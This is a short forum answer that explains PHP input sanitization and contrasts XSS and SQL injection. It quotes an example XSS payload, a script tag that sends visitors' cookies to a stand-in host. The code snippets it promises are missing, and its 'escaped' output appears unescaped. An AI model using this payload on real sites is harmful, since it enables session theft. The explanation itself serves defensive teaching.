What is PHP sanitization
Created by: Dr.Ferrous
What is PHP sanitization, as I could not find it here
Sanitization is not here because it is a concept! and not a feature that is tied to PHP
Sanitization means cleaning or escaping a value from unwanted or bad content that may put your software/website at risk and vulnerable to exploits.
For example, consider a social network platform where users register and set their names and statuses, and one of the users writes this on his status:
Hello World <script>document.write('<img src="http://www.example.com/steal.php?cookies='+document.cookie+'" />')</script>
Writing this in the browser will not cause any problem and your server will not complain to save the content in your db, but when a user visits and sees that status, he will actually send his cookies to example.com, thus account will be hacked.
This is called XSS and it happens due to a bad or absence of sanitization.
This will hack your users accounts, but how about hacking your entire website because of the absence of sanitization? Yes it's called SQL injection.
To sanitize that status using PHP's filtering:
The output will be:
<script>document.write('<img src="http://www.example.com/steal.php?cookies='+document.cookie+'" />')</script>
It will look the same on browser, but the difference is that browser will treat '<', '>', '"' and other special characters as plain text and not to be parsed as HTML, so the script will not be executed.
To sanitize that status using HTMLPurifier:
The output will be empty, and thats why I like HTMLPurifier, it removes all scripts which is much better than escaping special characters. And it keeps the content of other tags, but you still need sanitization to protect against SQL injection.